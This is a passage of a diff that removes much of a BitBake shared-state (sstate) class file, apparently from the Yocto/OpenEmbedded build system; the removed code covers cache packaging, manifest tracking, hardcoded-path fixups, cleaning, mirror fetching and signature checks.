-SSTATE_PATHSPEC = "${SSTATE_DIR}/${SSTATE_EXTRAPATHWILDCARD}*/*/${SSTATE_PKGSPEC}*_${SSTATE_PATH_CURRTASK}.tgz*"
-
-# explicitly make PV to depend on evaluated value of PV variable
-PV[vardepvalue] = "${PV}"
-
-# We don't want the sstate to depend on things like the distro string
-# of the system, we let the sstate paths take care of this.
-SSTATE_EXTRAPATH[vardepvalue] = ""
-SSTATE_EXTRAPATHWILDCARD[vardepvalue] = ""
-
-# For multilib rpm the allarch packagegroup files can overwrite (in theory they're identical)
-SSTATE_DUPWHITELIST = "${DEPLOY_DIR}/licenses/"
-# Avoid docbook/sgml catalog warnings for now
-SSTATE_DUPWHITELIST += "${STAGING_ETCDIR_NATIVE}/sgml ${STAGING_DATADIR_NATIVE}/sgml"
-# sdk-provides-dummy-nativesdk and nativesdk-buildtools-perl-dummy overlap for different SDKMACHINE
-SSTATE_DUPWHITELIST += "${DEPLOY_DIR_RPM}/sdk_provides_dummy_nativesdk/ ${DEPLOY_DIR_IPK}/sdk-provides-dummy-nativesdk/"
-SSTATE_DUPWHITELIST += "${DEPLOY_DIR_RPM}/buildtools_dummy_nativesdk/ ${DEPLOY_DIR_IPK}/buildtools-dummy-nativesdk/"
-# target-sdk-provides-dummy overlaps that allarch is disabled when multilib is used
-SSTATE_DUPWHITELIST += "${COMPONENTS_DIR}/sdk-provides-dummy-target/ ${DEPLOY_DIR_RPM}/sdk_provides_dummy_target/ ${DEPLOY_DIR_IPK}/sdk-provides-dummy-target/"
-# Archive the sources for many architectures in one deploy folder
-SSTATE_DUPWHITELIST += "${DEPLOY_DIR_SRC}"
-# ovmf/grub-efi/systemd-boot/intel-microcode multilib recipes can generate identical overlapping files
-SSTATE_DUPWHITELIST += "${DEPLOY_DIR_IMAGE}/ovmf"
-SSTATE_DUPWHITELIST += "${DEPLOY_DIR_IMAGE}/grub-efi"
-SSTATE_DUPWHITELIST += "${DEPLOY_DIR_IMAGE}/systemd-boot"
-SSTATE_DUPWHITELIST += "${DEPLOY_DIR_IMAGE}/microcode"
-
-SSTATE_SCAN_FILES ?= "*.la *-config *_config postinst-*"
-SSTATE_SCAN_CMD ??= 'find ${SSTATE_BUILDDIR} \( -name "${@"\" -o -name \"".join(d.getVar("SSTATE_SCAN_FILES").split())}" \) -type f'
-SSTATE_SCAN_CMD_NATIVE ??= 'grep -Irl -e ${RECIPE_SYSROOT} -e ${RECIPE_SYSROOT_NATIVE} -e ${HOSTTOOLS_DIR} ${SSTATE_BUILDDIR}'
-
-BB_HASHFILENAME = "False ${SSTATE_PKGSPEC} ${SSTATE_SWSPEC}"
-
-SSTATE_ARCHS = " \
- ${BUILD_ARCH} \
- ${BUILD_ARCH}_${SDK_ARCH}_${SDK_OS} \
- ${BUILD_ARCH}_${TARGET_ARCH} \
- ${SDK_ARCH}_${SDK_OS} \
- ${SDK_ARCH}_${PACKAGE_ARCH} \
- allarch \
- ${PACKAGE_ARCH} \
- ${PACKAGE_EXTRA_ARCHS} \
- ${MACHINE_ARCH}"
-
-SSTATE_MANMACH ?= "${SSTATE_PKGARCH}"
-
-SSTATECREATEFUNCS = "sstate_hardcode_path"
-SSTATECREATEFUNCS[vardeps] = "SSTATE_SCAN_FILES"
-SSTATEPOSTCREATEFUNCS = ""
-SSTATEPREINSTFUNCS = ""
-SSTATEPOSTUNPACKFUNCS = "sstate_hardcode_path_unpack"
-SSTATEPOSTINSTFUNCS = ""
-EXTRA_STAGING_FIXMES ?= "HOSTTOOLS_DIR"
-
-# Check whether sstate exists for tasks that support sstate and are in the
-# locked signatures file.
-SIGGEN_LOCKEDSIGS_SSTATE_EXISTS_CHECK ?= 'error'
-
-# Check whether the task's computed hash matches the task's hash in the
-# locked signatures file.
-SIGGEN_LOCKEDSIGS_TASKSIG_CHECK ?= "error"
-
-# The GnuPG key ID and passphrase to use to sign sstate archives (or unset to
-# not sign)
-SSTATE_SIG_KEY ?= ""
-SSTATE_SIG_PASSPHRASE ?= ""
-# Whether to verify the GnUPG signatures when extracting sstate archives
-SSTATE_VERIFY_SIG ?= "0"
-
-SSTATE_HASHEQUIV_METHOD ?= "oe.sstatesig.OEOuthashBasic"
-SSTATE_HASHEQUIV_METHOD[doc] = "The fully-qualified function used to calculate \
- the output hash for a task, which in turn is used to determine equivalency. \
- "
-
-SSTATE_HASHEQUIV_REPORT_TASKDATA ?= "0"
-SSTATE_HASHEQUIV_REPORT_TASKDATA[doc] = "Report additional useful data to the \
- hash equivalency server, such as PN, PV, taskname, etc. This information \
- is very useful for developers looking at task data, but may leak sensitive \
- data if the equivalence server is public. \
- "
-
-python () {
- if bb.data.inherits_class('native', d):
- d.setVar('SSTATE_PKGARCH', d.getVar('BUILD_ARCH', False))
- elif bb.data.inherits_class('crosssdk', d):
- d.setVar('SSTATE_PKGARCH', d.expand("${BUILD_ARCH}_${SDK_ARCH}_${SDK_OS}"))
- elif bb.data.inherits_class('cross', d):
- d.setVar('SSTATE_PKGARCH', d.expand("${BUILD_ARCH}_${TARGET_ARCH}"))
- elif bb.data.inherits_class('nativesdk', d):
- d.setVar('SSTATE_PKGARCH', d.expand("${SDK_ARCH}_${SDK_OS}"))
- elif bb.data.inherits_class('cross-canadian', d):
- d.setVar('SSTATE_PKGARCH', d.expand("${SDK_ARCH}_${PACKAGE_ARCH}"))
- elif bb.data.inherits_class('allarch', d) and d.getVar("PACKAGE_ARCH") == "all":
- d.setVar('SSTATE_PKGARCH', "allarch")
- else:
- d.setVar('SSTATE_MANMACH', d.expand("${PACKAGE_ARCH}"))
-
- if bb.data.inherits_class('native', d) or bb.data.inherits_class('crosssdk', d) or bb.data.inherits_class('cross', d):
- d.setVar('SSTATE_EXTRAPATH', "${NATIVELSBSTRING}/")
- d.setVar('BB_HASHFILENAME', "True ${SSTATE_PKGSPEC} ${SSTATE_SWSPEC}")
- d.setVar('SSTATE_EXTRAPATHWILDCARD', "${NATIVELSBSTRING}/")
-
- unique_tasks = sorted(set((d.getVar('SSTATETASKS') or "").split()))
- d.setVar('SSTATETASKS', " ".join(unique_tasks))
- for task in unique_tasks:
- d.prependVarFlag(task, 'prefuncs', "sstate_task_prefunc ")
- d.appendVarFlag(task, 'postfuncs', " sstate_task_postfunc")
-}
-
-def sstate_init(task, d):
- ss = {}
- ss['task'] = task
- ss['dirs'] = []
- ss['plaindirs'] = []
- ss['lockfiles'] = []
- ss['lockfiles-shared'] = []
- return ss
-
-def sstate_state_fromvars(d, task = None):
- if task is None:
- task = d.getVar('BB_CURRENTTASK')
- if not task:
- bb.fatal("sstate code running without task context?!")
- task = task.replace("_setscene", "")
-
- if task.startswith("do_"):
- task = task[3:]
- inputs = (d.getVarFlag("do_" + task, 'sstate-inputdirs') or "").split()
- outputs = (d.getVarFlag("do_" + task, 'sstate-outputdirs') or "").split()
- plaindirs = (d.getVarFlag("do_" + task, 'sstate-plaindirs') or "").split()
- lockfiles = (d.getVarFlag("do_" + task, 'sstate-lockfile') or "").split()
- lockfilesshared = (d.getVarFlag("do_" + task, 'sstate-lockfile-shared') or "").split()
- interceptfuncs = (d.getVarFlag("do_" + task, 'sstate-interceptfuncs') or "").split()
- fixmedir = d.getVarFlag("do_" + task, 'sstate-fixmedir') or ""
- if not task or len(inputs) != len(outputs):
- bb.fatal("sstate variables not setup correctly?!")
-
- if task == "populate_lic":
- d.setVar("SSTATE_PKGSPEC", "${SSTATE_SWSPEC}")
- d.setVar("SSTATE_EXTRAPATH", "")
- d.setVar('SSTATE_EXTRAPATHWILDCARD', "")
-
- ss = sstate_init(task, d)
- for i in range(len(inputs)):
- sstate_add(ss, inputs[i], outputs[i], d)
- ss['lockfiles'] = lockfiles
- ss['lockfiles-shared'] = lockfilesshared
- ss['plaindirs'] = plaindirs
- ss['interceptfuncs'] = interceptfuncs
- ss['fixmedir'] = fixmedir
- return ss
-
-def sstate_add(ss, source, dest, d):
- if not source.endswith("/"):
- source = source + "/"
- if not dest.endswith("/"):
- dest = dest + "/"
- source = os.path.normpath(source)
- dest = os.path.normpath(dest)
- srcbase = os.path.basename(source)
- ss['dirs'].append([srcbase, source, dest])
- return ss
-
-def sstate_install(ss, d):
- import oe.path
- import oe.sstatesig
- import subprocess
-
- sharedfiles = []
- shareddirs = []
- bb.utils.mkdirhier(d.expand("${SSTATE_MANIFESTS}"))
-
- sstateinst = d.expand("${WORKDIR}/sstate-install-%s/" % ss['task'])
-
- manifest, d2 = oe.sstatesig.sstate_get_manifest_filename(ss['task'], d)
-
- if os.access(manifest, os.R_OK):
- bb.fatal("Package already staged (%s)?!" % manifest)
-
- d.setVar("SSTATE_INST_POSTRM", manifest + ".postrm")
-
- locks = []
- for lock in ss['lockfiles-shared']:
- locks.append(bb.utils.lockfile(lock, True))
- for lock in ss['lockfiles']:
- locks.append(bb.utils.lockfile(lock))
-
- for state in ss['dirs']:
- bb.debug(2, "Staging files from %s to %s" % (state[1], state[2]))
- for walkroot, dirs, files in os.walk(state[1]):
- for file in files:
- srcpath = os.path.join(walkroot, file)
- dstpath = srcpath.replace(state[1], state[2])
- #bb.debug(2, "Staging %s to %s" % (srcpath, dstpath))
- sharedfiles.append(dstpath)
- for dir in dirs:
- srcdir = os.path.join(walkroot, dir)
- dstdir = srcdir.replace(state[1], state[2])
- #bb.debug(2, "Staging %s to %s" % (srcdir, dstdir))
- if os.path.islink(srcdir):
- sharedfiles.append(dstdir)
- continue
- if not dstdir.endswith("/"):
- dstdir = dstdir + "/"
- shareddirs.append(dstdir)
-
- # Check the file list for conflicts against files which already exist
- whitelist = (d.getVar("SSTATE_DUPWHITELIST") or "").split()
- match = []
- for f in sharedfiles:
- if os.path.exists(f) and not os.path.islink(f):
- f = os.path.normpath(f)
- realmatch = True
- for w in whitelist:
- w = os.path.normpath(w)
- if f.startswith(w):
- realmatch = False
- break
- if realmatch:
- match.append(f)
- sstate_search_cmd = "grep -rlF '%s' %s --exclude=master.list | sed -e 's:^.*/::'" % (f, d.expand("${SSTATE_MANIFESTS}"))
- search_output = subprocess.Popen(sstate_search_cmd, shell=True, stdout=subprocess.PIPE).communicate()[0]
- if search_output:
- match.append(" (matched in %s)" % search_output.decode('utf-8').rstrip())
- else:
- match.append(" (not matched to any task)")
- if match:
- bb.error("The recipe %s is trying to install files into a shared " \
- "area when those files already exist. Those files and their manifest " \
- "location are:\n %s\nPlease verify which recipe should provide the " \
- "above files.\n\nThe build has stopped, as continuing in this scenario WILL " \
- "break things - if not now, possibly in the future (we've seen builds fail " \
- "several months later). If the system knew how to recover from this " \
- "automatically it would, however there are several different scenarios " \
- "which can result in this and we don't know which one this is. It may be " \
- "you have switched providers of something like virtual/kernel (e.g. from " \
- "linux-yocto to linux-yocto-dev), in that case you need to execute the " \
- "clean task for both recipes and it will resolve this error. It may be " \
- "you changed DISTRO_FEATURES from systemd to udev or vice versa. Cleaning " \
- "those recipes should again resolve this error, however switching " \
- "DISTRO_FEATURES on an existing build directory is not supported - you " \
- "should really clean out tmp and rebuild (reusing sstate should be safe). " \
- "It could be the overlapping files detected are harmless in which case " \
- "adding them to SSTATE_DUPWHITELIST may be the correct solution. It could " \
- "also be your build is including two different conflicting versions of " \
- "things (e.g. bluez 4 and bluez 5 and the correct solution for that would " \
- "be to resolve the conflict. If in doubt, please ask on the mailing list, " \
- "sharing the error and filelist above." % \
- (d.getVar('PN'), "\n ".join(match)))
- bb.fatal("If the above message is too much, the simpler version is you're advised to wipe out tmp and rebuild (reusing sstate is fine). That will likely fix things in most (but not all) cases.")
-
- if ss['fixmedir'] and os.path.exists(ss['fixmedir'] + "/fixmepath.cmd"):
- sharedfiles.append(ss['fixmedir'] + "/fixmepath.cmd")
- sharedfiles.append(ss['fixmedir'] + "/fixmepath")
-
- # Write out the manifest
- f = open(manifest, "w")
- for file in sharedfiles:
- f.write(file + "\n")
-
- # We want to ensure that directories appear at the end of the manifest
- # so that when we test to see if they should be deleted any contents
- # added by the task will have been removed first.
- dirs = sorted(shareddirs, key=len)
- # Must remove children first, which will have a longer path than the parent
- for di in reversed(dirs):
- f.write(di + "\n")
- f.close()
-
- # Append to the list of manifests for this PACKAGE_ARCH
-
- i = d2.expand("${SSTATE_MANIFESTS}/index-${SSTATE_MANMACH}")
- l = bb.utils.lockfile(i + ".lock")
- filedata = d.getVar("STAMP") + " " + d2.getVar("SSTATE_MANFILEPREFIX") + " " + d.getVar("WORKDIR") + "\n"
- manifests = []
- if os.path.exists(i):
- with open(i, "r") as f:
- manifests = f.readlines()
- if filedata not in manifests:
- with open(i, "a+") as f:
- f.write(filedata)
- bb.utils.unlockfile(l)
-
- # Run the actual file install
- for state in ss['dirs']:
- if os.path.exists(state[1]):
- oe.path.copyhardlinktree(state[1], state[2])
-
- for postinst in (d.getVar('SSTATEPOSTINSTFUNCS') or '').split():
- # All hooks should run in the SSTATE_INSTDIR
- bb.build.exec_func(postinst, d, (sstateinst,))
-
- for lock in locks:
- bb.utils.unlockfile(lock)
-
-sstate_install[vardepsexclude] += "SSTATE_DUPWHITELIST STATE_MANMACH SSTATE_MANFILEPREFIX"
-sstate_install[vardeps] += "${SSTATEPOSTINSTFUNCS}"
-
-def sstate_installpkg(ss, d):
- from oe.gpg_sign import get_signer
-
- sstateinst = d.expand("${WORKDIR}/sstate-install-%s/" % ss['task'])
- d.setVar("SSTATE_CURRTASK", ss['task'])
- sstatefetch = d.getVar('SSTATE_PKGNAME')
- sstatepkg = d.getVar('SSTATE_PKG')
-
- if not os.path.exists(sstatepkg):
- pstaging_fetch(sstatefetch, d)
-
- if not os.path.isfile(sstatepkg):
- bb.note("Sstate package %s does not exist" % sstatepkg)
- return False
-
- sstate_clean(ss, d)
-
- d.setVar('SSTATE_INSTDIR', sstateinst)
-
- if bb.utils.to_boolean(d.getVar("SSTATE_VERIFY_SIG"), False):
- if not os.path.isfile(sstatepkg + '.sig'):
- bb.warn("No signature file for sstate package %s, skipping acceleration..." % sstatepkg)
- return False
- signer = get_signer(d, 'local')
- if not signer.verify(sstatepkg + '.sig'):
- bb.warn("Cannot verify signature on sstate package %s, skipping acceleration..." % sstatepkg)
- return False
-
- # Empty sstateinst directory, ensure its clean
- if os.path.exists(sstateinst):
- oe.path.remove(sstateinst)
- bb.utils.mkdirhier(sstateinst)
-
- sstateinst = d.getVar("SSTATE_INSTDIR")
- d.setVar('SSTATE_FIXMEDIR', ss['fixmedir'])
-
- for f in (d.getVar('SSTATEPREINSTFUNCS') or '').split() + ['sstate_unpack_package']:
- # All hooks should run in the SSTATE_INSTDIR
- bb.build.exec_func(f, d, (sstateinst,))
-
- return sstate_installpkgdir(ss, d)
-
-def sstate_installpkgdir(ss, d):
- import oe.path
- import subprocess
-
- sstateinst = d.getVar("SSTATE_INSTDIR")
- d.setVar('SSTATE_FIXMEDIR', ss['fixmedir'])
-
- for f in (d.getVar('SSTATEPOSTUNPACKFUNCS') or '').split():
- # All hooks should run in the SSTATE_INSTDIR
- bb.build.exec_func(f, d, (sstateinst,))
-
- def prepdir(dir):
- # remove dir if it exists, ensure any parent directories do exist
- if os.path.exists(dir):
- oe.path.remove(dir)
- bb.utils.mkdirhier(dir)
- oe.path.remove(dir)
-
- for state in ss['dirs']:
- prepdir(state[1])
- os.rename(sstateinst + state[0], state[1])
- sstate_install(ss, d)
-
- for plain in ss['plaindirs']:
- workdir = d.getVar('WORKDIR')
- sharedworkdir = os.path.join(d.getVar('TMPDIR'), "work-shared")
- src = sstateinst + "/" + plain.replace(workdir, '')
- if sharedworkdir in plain:
- src = sstateinst + "/" + plain.replace(sharedworkdir, '')
- dest = plain
- bb.utils.mkdirhier(src)
- prepdir(dest)
- os.rename(src, dest)
-
- return True
-
-python sstate_hardcode_path_unpack () {
- # Fixup hardcoded paths
- #
- # Note: The logic below must match the reverse logic in
- # sstate_hardcode_path(d)
- import subprocess
-
- sstateinst = d.getVar('SSTATE_INSTDIR')
- sstatefixmedir = d.getVar('SSTATE_FIXMEDIR')
- fixmefn = sstateinst + "fixmepath"
- if os.path.isfile(fixmefn):
- staging_target = d.getVar('RECIPE_SYSROOT')
- staging_host = d.getVar('RECIPE_SYSROOT_NATIVE')
-
- if bb.data.inherits_class('native', d) or bb.data.inherits_class('cross-canadian', d):
- sstate_sed_cmd = "sed -i -e 's:FIXMESTAGINGDIRHOST:%s:g'" % (staging_host)
- elif bb.data.inherits_class('cross', d) or bb.data.inherits_class('crosssdk', d):
- sstate_sed_cmd = "sed -i -e 's:FIXMESTAGINGDIRTARGET:%s:g; s:FIXMESTAGINGDIRHOST:%s:g'" % (staging_target, staging_host)
- else:
- sstate_sed_cmd = "sed -i -e 's:FIXMESTAGINGDIRTARGET:%s:g'" % (staging_target)
-
- extra_staging_fixmes = d.getVar('EXTRA_STAGING_FIXMES') or ''
- for fixmevar in extra_staging_fixmes.split():
- fixme_path = d.getVar(fixmevar)
- sstate_sed_cmd += " -e 's:FIXME_%s:%s:g'" % (fixmevar, fixme_path)
-
- # Add sstateinst to each filename in fixmepath, use xargs to efficiently call sed
- sstate_hardcode_cmd = "sed -e 's:^:%s:g' %s | xargs %s" % (sstateinst, fixmefn, sstate_sed_cmd)
-
- # Defer do_populate_sysroot relocation command
- if sstatefixmedir:
- bb.utils.mkdirhier(sstatefixmedir)
- with open(sstatefixmedir + "/fixmepath.cmd", "w") as f:
- sstate_hardcode_cmd = sstate_hardcode_cmd.replace(fixmefn, sstatefixmedir + "/fixmepath")
- sstate_hardcode_cmd = sstate_hardcode_cmd.replace(sstateinst, "FIXMEFINALSSTATEINST")
- sstate_hardcode_cmd = sstate_hardcode_cmd.replace(staging_host, "FIXMEFINALSSTATEHOST")
- sstate_hardcode_cmd = sstate_hardcode_cmd.replace(staging_target, "FIXMEFINALSSTATETARGET")
- f.write(sstate_hardcode_cmd)
- bb.utils.copyfile(fixmefn, sstatefixmedir + "/fixmepath")
- return
-
- bb.note("Replacing fixme paths in sstate package: %s" % (sstate_hardcode_cmd))
- subprocess.check_call(sstate_hardcode_cmd, shell=True)
-
- # Need to remove this or we'd copy it into the target directory and may
- # conflict with another writer
- os.remove(fixmefn)
-}
-
-def sstate_clean_cachefile(ss, d):
- import oe.path
-
- if d.getVarFlag('do_%s' % ss['task'], 'task'):
- d.setVar("SSTATE_PATH_CURRTASK", ss['task'])
- sstatepkgfile = d.getVar('SSTATE_PATHSPEC')
- bb.note("Removing %s" % sstatepkgfile)
- oe.path.remove(sstatepkgfile)
-
-def sstate_clean_cachefiles(d):
- for task in (d.getVar('SSTATETASKS') or "").split():
- ld = d.createCopy()
- ss = sstate_state_fromvars(ld, task)
- sstate_clean_cachefile(ss, ld)
-
-def sstate_clean_manifest(manifest, d, prefix=None):
- import oe.path
-
- mfile = open(manifest)
- entries = mfile.readlines()
- mfile.close()
-
- for entry in entries:
- entry = entry.strip()
- if prefix and not entry.startswith("/"):
- entry = prefix + "/" + entry
- bb.debug(2, "Removing manifest: %s" % entry)
- # We can race against another package populating directories as we're removing them
- # so we ignore errors here.
- try:
- if entry.endswith("/"):
- if os.path.islink(entry[:-1]):
- os.remove(entry[:-1])
- elif os.path.exists(entry) and len(os.listdir(entry)) == 0:
- os.rmdir(entry[:-1])
- else:
- os.remove(entry)
- except OSError:
- pass
-
- postrm = manifest + ".postrm"
- if os.path.exists(manifest + ".postrm"):
- import subprocess
- os.chmod(postrm, 0o755)
- subprocess.check_call(postrm, shell=True)
- oe.path.remove(postrm)
-
- oe.path.remove(manifest)
-
-def sstate_clean(ss, d):
- import oe.path
- import glob
-
- d2 = d.createCopy()
- stamp_clean = d.getVar("STAMPCLEAN")
- extrainf = d.getVarFlag("do_" + ss['task'], 'stamp-extra-info')
- if extrainf:
- d2.setVar("SSTATE_MANMACH", extrainf)
- wildcard_stfile = "%s.do_%s*.%s" % (stamp_clean, ss['task'], extrainf)
- else:
- wildcard_stfile = "%s.do_%s*" % (stamp_clean, ss['task'])
-
- manifest = d2.expand("${SSTATE_MANFILEPREFIX}.%s" % ss['task'])
-
- if os.path.exists(manifest):
- locks = []
- for lock in ss['lockfiles-shared']:
- locks.append(bb.utils.lockfile(lock))
- for lock in ss['lockfiles']:
- locks.append(bb.utils.lockfile(lock))
-
- sstate_clean_manifest(manifest, d)
-
- for lock in locks:
- bb.utils.unlockfile(lock)
-
- # Remove the current and previous stamps, but keep the sigdata.
- #
- # The glob() matches do_task* which may match multiple tasks, for
- # example: do_package and do_package_write_ipk, so we need to
- # exactly match *.do_task.* and *.do_task_setscene.*
- rm_stamp = '.do_%s.' % ss['task']
- rm_setscene = '.do_%s_setscene.' % ss['task']
- # For BB_SIGNATURE_HANDLER = "noop"
- rm_nohash = ".do_%s" % ss['task']
- for stfile in glob.glob(wildcard_stfile):
- # Keep the sigdata
- if ".sigdata." in stfile or ".sigbasedata." in stfile:
- continue
- # Preserve taint files in the stamps directory
- if stfile.endswith('.taint'):
- continue
- if rm_stamp in stfile or rm_setscene in stfile or \
- stfile.endswith(rm_nohash):
- oe.path.remove(stfile)
-
-sstate_clean[vardepsexclude] = "SSTATE_MANFILEPREFIX"
-
-CLEANFUNCS += "sstate_cleanall"
-
-python sstate_cleanall() {
- bb.note("Removing shared state for package %s" % d.getVar('PN'))
-
- manifest_dir = d.getVar('SSTATE_MANIFESTS')
- if not os.path.exists(manifest_dir):
- return
-
- tasks = d.getVar('SSTATETASKS').split()
- for name in tasks:
- ld = d.createCopy()
- shared_state = sstate_state_fromvars(ld, name)
- sstate_clean(shared_state, ld)
-}
-
-python sstate_hardcode_path () {
- import subprocess, platform
-
- # Need to remove hardcoded paths and fix these when we install the
- # staging packages.
- #
- # Note: the logic in this function needs to match the reverse logic
- # in sstate_installpkg(ss, d)
-
- staging_target = d.getVar('RECIPE_SYSROOT')
- staging_host = d.getVar('RECIPE_SYSROOT_NATIVE')
- sstate_builddir = d.getVar('SSTATE_BUILDDIR')
-
- sstate_sed_cmd = "sed -i -e 's:%s:FIXMESTAGINGDIRHOST:g'" % staging_host
- if bb.data.inherits_class('native', d) or bb.data.inherits_class('cross-canadian', d):
- sstate_grep_cmd = "grep -l -e '%s'" % (staging_host)
- elif bb.data.inherits_class('cross', d) or bb.data.inherits_class('crosssdk', d):
- sstate_grep_cmd = "grep -l -e '%s' -e '%s'" % (staging_target, staging_host)
- sstate_sed_cmd += " -e 's:%s:FIXMESTAGINGDIRTARGET:g'" % staging_target
- else:
- sstate_grep_cmd = "grep -l -e '%s' -e '%s'" % (staging_target, staging_host)
- sstate_sed_cmd += " -e 's:%s:FIXMESTAGINGDIRTARGET:g'" % staging_target
-
- extra_staging_fixmes = d.getVar('EXTRA_STAGING_FIXMES') or ''
- for fixmevar in extra_staging_fixmes.split():
- fixme_path = d.getVar(fixmevar)
- sstate_sed_cmd += " -e 's:%s:FIXME_%s:g'" % (fixme_path, fixmevar)
- sstate_grep_cmd += " -e '%s'" % (fixme_path)
-
- fixmefn = sstate_builddir + "fixmepath"
-
- sstate_scan_cmd = d.getVar('SSTATE_SCAN_CMD')
- sstate_filelist_cmd = "tee %s" % (fixmefn)
-
- # fixmepath file needs relative paths, drop sstate_builddir prefix
- sstate_filelist_relative_cmd = "sed -i -e 's:^%s::g' %s" % (sstate_builddir, fixmefn)
-
- xargs_no_empty_run_cmd = '--no-run-if-empty'
- if platform.system() == 'Darwin':
- xargs_no_empty_run_cmd = ''
-
- # Limit the fixpaths and sed operations based on the initial grep search
- # This has the side effect of making sure the vfs cache is hot
- sstate_hardcode_cmd = "%s | xargs %s | %s | xargs %s %s" % (sstate_scan_cmd, sstate_grep_cmd, sstate_filelist_cmd, xargs_no_empty_run_cmd, sstate_sed_cmd)
-
- bb.note("Removing hardcoded paths from sstate package: '%s'" % (sstate_hardcode_cmd))
- subprocess.check_output(sstate_hardcode_cmd, shell=True, cwd=sstate_builddir)
-
- # If the fixmefn is empty, remove it..
- if os.stat(fixmefn).st_size == 0:
- os.remove(fixmefn)
- else:
- bb.note("Replacing absolute paths in fixmepath file: '%s'" % (sstate_filelist_relative_cmd))
- subprocess.check_output(sstate_filelist_relative_cmd, shell=True)
-}
-
-def sstate_package(ss, d):
- import oe.path
-
- tmpdir = d.getVar('TMPDIR')
-
- sstatebuild = d.expand("${WORKDIR}/sstate-build-%s/" % ss['task'])
- d.setVar("SSTATE_CURRTASK", ss['task'])
- bb.utils.remove(sstatebuild, recurse=True)
- bb.utils.mkdirhier(sstatebuild)
- for state in ss['dirs']:
- if not os.path.exists(state[1]):
- continue
- srcbase = state[0].rstrip("/").rsplit('/', 1)[0]
- # Find and error for absolute symlinks. We could attempt to relocate but its not
- # clear where the symlink is relative to in this context. We could add that markup
- # to sstate tasks but there aren't many of these so better just avoid them entirely.
- for walkroot, dirs, files in os.walk(state[1]):
- for file in files + dirs:
- srcpath = os.path.join(walkroot, file)
- if not os.path.islink(srcpath):
- continue
- link = os.readlink(srcpath)
- if not os.path.isabs(link):
- continue
- if not link.startswith(tmpdir):
- continue
- bb.error("sstate found an absolute path symlink %s pointing at %s. Please replace this with a relative link." % (srcpath, link))
- bb.debug(2, "Preparing tree %s for packaging at %s" % (state[1], sstatebuild + state[0]))
- os.rename(state[1], sstatebuild + state[0])
-
- workdir = d.getVar('WORKDIR')
- sharedworkdir = os.path.join(d.getVar('TMPDIR'), "work-shared")
- for plain in ss['plaindirs']:
- pdir = plain.replace(workdir, sstatebuild)
- if sharedworkdir in plain:
- pdir = plain.replace(sharedworkdir, sstatebuild)
- bb.utils.mkdirhier(plain)
- bb.utils.mkdirhier(pdir)
- os.rename(plain, pdir)
-
- d.setVar('SSTATE_BUILDDIR', sstatebuild)
- d.setVar('SSTATE_INSTDIR', sstatebuild)
-
- if d.getVar('SSTATE_SKIP_CREATION') == '1':
- return
-
- sstate_create_package = ['sstate_report_unihash', 'sstate_create_package']
- if d.getVar('SSTATE_SIG_KEY'):
- sstate_create_package.append('sstate_sign_package')
-
- for f in (d.getVar('SSTATECREATEFUNCS') or '').split() + \
- sstate_create_package + \
- (d.getVar('SSTATEPOSTCREATEFUNCS') or '').split():
- # All hooks should run in SSTATE_BUILDDIR.
- bb.build.exec_func(f, d, (sstatebuild,))
-
- # SSTATE_PKG may have been changed by sstate_report_unihash
- siginfo = d.getVar('SSTATE_PKG') + ".siginfo"
- if not os.path.exists(siginfo):
- bb.siggen.dump_this_task(siginfo, d)
- else:
- try:
- os.utime(siginfo, None)
- except PermissionError:
- pass
-
- return
-
-def pstaging_fetch(sstatefetch, d):
- import bb.fetch2
-
- # Only try and fetch if the user has configured a mirror
- mirrors = d.getVar('SSTATE_MIRRORS')
- if not mirrors:
- return
-
- # Copy the data object and override DL_DIR and SRC_URI
- localdata = bb.data.createCopy(d)
-
- dldir = localdata.expand("${SSTATE_DIR}")
- bb.utils.mkdirhier(dldir)
-
- localdata.delVar('MIRRORS')
- localdata.setVar('FILESPATH', dldir)
- localdata.setVar('DL_DIR', dldir)
- localdata.setVar('PREMIRRORS', mirrors)
-
- # if BB_NO_NETWORK is set but we also have SSTATE_MIRROR_ALLOW_NETWORK,
- # we'll want to allow network access for the current set of fetches.
- if bb.utils.to_boolean(localdata.getVar('BB_NO_NETWORK')) and \
- bb.utils.to_boolean(localdata.getVar('SSTATE_MIRROR_ALLOW_NETWORK')):
- localdata.delVar('BB_NO_NETWORK')
-
- # Try a fetch from the sstate mirror, if it fails just return and
- # we will build the package
- uris = ['file://{0};downloadfilename={0}'.format(sstatefetch),
- 'file://{0}.siginfo;downloadfilename={0}.siginfo'.format(sstatefetch)]
- if bb.utils.to_boolean(d.getVar("SSTATE_VERIFY_SIG"), False):
- uris += ['file://{0}.sig;downloadfilename={0}.sig'.format(sstatefetch)]
-
- for srcuri in uris:
- localdata.setVar('SRC_URI', srcuri)
- try:
- fetcher = bb.fetch2.Fetch([srcuri], localdata, cache=False)
- fetcher.checkstatus()
- fetcher.download()
-
- except bb.fetch2.BBFetchException:
- pass
-
-def sstate_setscene(d):
- shared_state = sstate_state_fromvars(d)
- accelerate = sstate_installpkg(shared_state, d)
- if not accelerate:
- bb.fatal("No suitable staging package found")
-
-python sstate_task_prefunc () {
- shared_state = sstate_state_fromvars(d)
- sstate_clean(shared_state, d)
-}
-sstate_task_prefunc[dirs] = "${WORKDIR}"
-
-python sstate_task_postfunc () {
- shared_state = sstate_state_fromvars(d)
-
- for intercept in shared_state['interceptfuncs']:
- bb.build.exec_func(intercept, d, (d.getVar("WORKDIR"),))
-
- omask = os.umask(0o002)
- if omask != 0o002:
- bb.note("Using umask 0o002 (not %0o) for sstate packaging" % omask)
- sstate_package(shared_state, d)
- os.umask(omask)
-
- sstateinst = d.getVar("SSTATE_INSTDIR")
- d.setVar('SSTATE_FIXMEDIR', shared_state['fixmedir'])
-
- sstate_installpkgdir(shared_state, d)
-
- bb.utils.remove(d.getVar("SSTATE_BUILDDIR"), recurse=True)
-}
-sstate_task_postfunc[dirs] = "${WORKDIR}"
-
-
-#
-# Shell function to generate a sstate package from a directory
-# set as SSTATE_BUILDDIR. Will be run from within SSTATE_BUILDDIR.
-#
-sstate_create_package () {
- # Exit early if it already exists
- if [ -e ${SSTATE_PKG} ]; then
- [ ! -w ${SSTATE_PKG} ] || touch ${SSTATE_PKG}
- return
- fi
-
- mkdir -p `dirname ${SSTATE_PKG}`
- TFILE=`mktemp ${SSTATE_PKG}.XXXXXXXX`
-
- # Use pigz if available
- OPT="-czS"
- if [ -x "$(command -v pigz)" ]; then
- OPT="-I pigz -cS"
- fi
-
- # Need to handle empty directories
- if [ "$(ls -A)" ]; then
- set +e
- tar $OPT -f $TFILE *
- ret=$?
- if [ $ret -ne 0 ] && [ $ret -ne 1 ]; then
- exit 1
- fi
- set -e
- else
- tar $OPT --file=$TFILE --files-from=/dev/null
- fi
